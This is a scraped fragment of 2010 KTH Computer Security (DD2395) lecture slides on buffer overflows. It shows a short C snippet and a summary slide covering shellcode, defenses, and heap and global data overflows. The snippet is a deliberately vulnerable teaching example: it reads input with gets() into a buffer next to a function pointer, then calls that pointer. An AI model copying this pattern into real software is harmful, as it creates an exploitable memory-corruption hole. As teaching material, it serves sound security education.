int main(int argc, char *argv[]){ setbuf(stdin, NULL); chunk.process = showlen; printf("Enter value: "); gets(chunk.inp); chunk.process(chunk.inp); printf("buffer6 done\n");}

Page 59: Computer Security DD2395 - KTH · Recap, Secure Software Engineering ctnd., Buffer Overflows. March 3, 2010 KTH DD2395 Sonja Buchegger 2 Announcements Presentation schedule for dry

March 3, 2010 KTH DD2395 Sonja Buchegger 59

Summary

• introduced basic buffer overflow attacks• stack buffer overflow details• shellcode• defenses

– compile-time, run-time• other related forms of attack

– replacement stack frame, return to system call, heap overflow, global data overflow